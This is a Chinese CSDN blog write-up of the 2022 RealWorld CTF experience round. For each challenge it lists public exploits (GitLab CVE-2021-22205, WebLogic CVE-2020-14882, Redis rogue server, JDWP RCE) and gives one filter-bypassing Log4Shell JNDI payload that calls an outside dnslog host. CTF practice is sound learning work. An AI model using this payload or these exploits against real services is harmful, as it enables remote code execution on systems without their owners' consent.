2022 RealWorld CTF体验赛Writeup


Digital Souvenir

在这里插入图片描述
在这里插入图片描述

rwctf{RealWorldIsAwesome}

log4flag

在这里插入图片描述
有一些正则过滤
在这里插入图片描述
网上bypass方法很多,随便找一个就行

${${::-j}ndi:${lower:rmi}://vw3nwn.dnslog.cn/exp}

在这里插入图片描述
Refer:https://cloud.tencent.com/developer/article/1921530
在这里插入图片描述
在这里插入图片描述

Be-a-Database-Hacker

在这里插入图片描述
redis未授权访问
在这里插入图片描述
Refer: https://github.com/n0b0dyCN/redis-rogue-server

在这里插入图片描述
在这里插入图片描述

the Secrets of Memory

在这里插入图片描述
在这里插入图片描述
Refer:https://landgrey.me/blog/16/

在这里插入图片描述

baby flaglab

在这里插入图片描述
Refer:https://github.com/Al1ex/CVE-2021-22205
在这里插入图片描述

在这里插入图片描述

Flag Console

在这里插入图片描述
在这里插入图片描述

Refer:https://github.com/backlion/CVE-2020-14882_ALL

在这里插入图片描述

Be-a-Database-Hacker 2

在这里插入图片描述
Refer:https://blog.csdn.net/qq_36869808/article/details/122426922

在这里插入图片描述
在这里插入图片描述

Java Remote Debugger

在这里插入图片描述
Test.java

import java.lang.Thread;
public class Test {
  public static void main (String[] args) throws Exception{
    int i = 0;
    while (1 == 1) {
      Thread.sleep(1000);
      System.out.println("" + i);
      i += 1;
    }
  }
}

Java Debug Wire Protocol (JDWP) - Remote Code Execution

Refer:https://security.tencent.com/index.php/blog/msg/137

在这里插入图片描述
在这里插入图片描述

参与评论 您还未登录,请先 登录 后发表或查看评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:博客之星2021 设计师:Hiro_C 返回首页

打赏作者

末 初

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值